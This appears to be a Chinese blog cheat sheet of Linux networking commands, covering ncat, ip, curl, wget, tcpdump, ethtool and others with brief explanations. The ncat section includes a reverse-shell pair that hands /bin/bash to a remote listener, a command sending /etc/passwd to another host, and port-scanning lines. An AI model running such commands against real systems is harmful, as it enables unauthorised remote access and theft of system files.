【Linux】网络配置相关命令(三)

【Linux】网络配置相关命令(三)

  • ncat命令
    # ncat -l 9999
    启动TCP服务端,端口为9999
    -l 使用监听模式,监控传入的资料
    -L 连接关闭后,仍然继续监听
    
    # ncat 192.168.28.128 9999
    启动TCP客户端连接服务端
    服务端 IP:192.168.28.128 端口号:9999
    
    # ncat -lu 9999
    启动UDP服务端,端口为9999,-u 使用UDP传输协议
    
    # ncat -u 192.168.28.128 9999
    启动UDP客户端连接服务端
    服务端 IP:192.168.28.128 端口号:9999
    
    # ncat -l 9999 &
    扫描连续端口,服务端执行
    
    # ncat -vz -w 3 9999
    扫描连续端口,客户端执行
    
    # ncat -vz -w 3 192.168.28.128 9999
    进行端口探测
    -v 显示指令执行过程
    -z 使用输入/输出模式,只在扫描通信端口时使用
    -w 超时秒数,设置等待连线的时间
    
    # ncat -l 1111 > txt
    传输文件,服务端执行
    
    # ncat 192.168.28.128 1111 < /etc/passwd
    传输文件,客户端执行
    
    # ncat -p 1111 -w 3 192.168.28.128 8888
    设置本地端口连接服务端
    -p 设置本地主机使用的通信端口
    
    # ncat -nv 192.168.28.128 80
    扫描80端口
    -n 直接使用ip地址,而不通过域名服务器
    -v 显示指令执行过程,两个-v可得到更详细的内容
    
    # ncat -u -z -w 2 192.168.28.128 1-1000
     扫描UDP端口
    
    # ncat -z -w 2 192.168.28.128 1-1000
    扫描TCP端口
    
    # ncat -v -lp 9999
     反向shell,服务端
    
    # ncat -v 192.168.28.128 9999 -c /bin/bash
    反向shell,客户端
    
    # ncat -nv 192.168.28.128 80 < c:you.txt
     攻击程序,连接到端口,并在其管道中发送内容
    
    # ncat -v -lp 9998
    指定源端口,服务端
    -p选项指定源端口
    
    # ncat -v 192.168.28.128 9999 -p 9998
    指定源端口,客户端
    
    # ncat -v 192.168.28.128 9999 -s 192.168.28.128
    指定源地址,客户端
    有多个地址,使用-s选项指定IP地址
    
  • ip命令
    # ip link list
    用ip命令显示网络设备的运行状态
    
    # ip route list
    显示核心路由表
    
    # ip neigh list
    显示邻居路由表
    
    # ip -s link ls eth0
    查看eth0网卡信息
    -s 输出更详细的信息
    
    # ip link set dev eth0 address ff:ff:ff:ff:ff:ff
    修改网络设备的MAC地址
    
    # ip link set dev eth0 mtu 1500
    修改网络设备MTU(最大传输单元)的值
    
    # ip -4 addr flush label eth0
    取消所有以太网卡的IP地址
    -4:指定使用的网络层协议是IPv4协议
    -6:指定使用的网络层协议是IPv6协议
    
    # ip neigh del 192.168.28.128 dev eth0
    删除设备上的一个ARP条目
    
    # ip addr ls eth0
    显示协议地址,缩写list,lst,ls,l
    
  • lnstat命令
    # lnstat
    显示网络状态
    
    # lnstat -i 2
    指定两次显示网络状态的间隔秒数
    
    # lnstat -c 2
    指定显示网络状态的次数
    
    # lnstat -d
    -d 显示可用的文件或关键字
    
  • curl命令
    # curl https://github.com/YOU-1016?tab=repositories
    获取指定网页的数据
    
    # curl --silent -O https://github.com/YOU-1016?tab=repositories
    -o 把输出写到该文件中
    -O 把输出写到该文件中,保留远程文件的文件名
    -s/--silent	静默模式,不输出任何东西
    
    # curl --progress -O https://github.com/YOU-1016?tab=repositories
    显示进度条
    
    # curl URL --limit-rate 100k
    --limit-rate 限制下载速度,用k和m指定下载速度限制
    
    # curl -uroot https://github.com/YOU-1016?tab=repositories
    提供用户名和密码进行授权
    -u 设置服务器的用户和密码
    -U 设置代理用户名和密码
    
    # curl URL --cookie "user=root;pass=123456"
    设置cookies,多个cookie使用分号分隔
    
    # curl URL --cookie-jar cookie_file
    --cookie-jar 将cookie另存为一个文件
    
  • wget命令
    # wget https://github.com/YOU-1016?tab=repositories
    使用wget下载单个文件
    
    # wget -O test.git https://github.com/YOU-1016?tab=repositories
    下载并以设置的文件名保存
    
    # wget --limit-rate=100k https://github.com/YOU-1016?tab=repositories
    限速下载
    
    # wget -c https://github.com/YOU-1016?tab=repositories
    -c 重新启动下载中断的文件
    
    # wget -b https://github.com/YOU-1016?tab=repositories
    后台下载
    查看下载进度:tail -f wget-log 
    
    # wget --user-agent=“代理名称” https://github.com/YOU-1016?tab=repositories
    伪装代理名称下载,--user-agent 参数伪装
    
    # wget --spider https://github.com/YOU-1016?tab=repositories
    测试下载链接
    
    # wget -r -A.git https://github.com/YOU-1016?tab=repositories
    下载指定格式文件
    
    # wget --tries=40 https://github.com/YOU-1016?tab=repositories
    增加重试次数,wget默认重试20次连接下载文件
    
  • ipcalc命令
    # ipcalc -p 192.168.28.128 255.255.255.0
    -p 显示给定的掩码或IP地址的前缀
    
    # ipcalc -n 192.168.28.128 255.255.255.0
    -n	由给定的IP地址和网络掩码计算网络地址
    
    # ipcalc -h 127.0.0.1
    -h	显示给定IP地址所对应的主机名
    
    # ipcalc -m -b -n 192.168.28.128/24
    -m	由给定的IP地址计算器网络掩码
    -b	由给定的IP地址和网络掩码计算出广播地址
    -n	由给定的IP地址和网络掩码计算网络地址
    
  • tcpdump命令
    # tcpdump
    监视网卡上所有流过的数据包
    普通情况下,直接启动tcpdump将监视第一个网络接口
    
    # tcpdump -i eth0
    指定网卡的数据包
    
    # tcpdump host localhost
    指定主机的数据包
    
    # tcpdump host 192.168.28.128
    本地IP的数据包
    
    # tcpdump tcp port 22 and host 192.168.28.128
    指定主机和端口的数据包
    
    # tcpdump host 192.168.28.128 and \(192.168.28.127\)
    截获主机192.168.28.128和主机192.168.28.127的通信
    
    # tcpdump udp port 10086
    监视主机udp协议和10086端口
    
  • mii-tool命令命令
    # mii-tool eth0
    查看指定网卡状态
    
    # mii-tool -v eth0
    查看网络接口的协商状态
    
    # mii-tool eth0 -F 100baseTx-FD
    网络接口eth0改为1000Mb/s全双工的模式]
    -F 更改网络接口协商方式
    
    # mii-tool -r eth0
    重启自动协商模式
    -V 显示版本信息
    
  • ethtool命令
    # ethtool eth0
    查询网卡基本设置
    
    # ethtool -i eth0
    查询网卡驱动相关信息
    -i 显示网卡驱动的信息,如驱动的名称、版本等
    
    # ethtool -S eth0
    查询网卡收发包统计
    -S 显示统计参数,网卡接收/发送的字节数、接收/发送的广播包个数等
    
    # ethtool -d eth0
    查询网卡注册信息
    -d 显示register dump信息
    
    # ethtool -r eth0
    设置网卡自适应模式
    
    # ethtool -s eth0 speed 100
    设置网卡速率为100M
    
    # ethtool -p eth0 10
    使网卡灯闪烁10次
    -p 使网卡port上的led不断的闪,以秒为单位
    
    # ethtool -K eth0 rx off
    关闭网卡对收到的数据包的校验功能
    -k 显示网卡Offload参数的状态:on,off
    -K 修改网卡Offload参数的状态
    -r 如果auto-negotiation模块的状态为on,则restarts
    

你可能感兴趣的:(Note,Operating,System,Security,linux,网络,网络安全)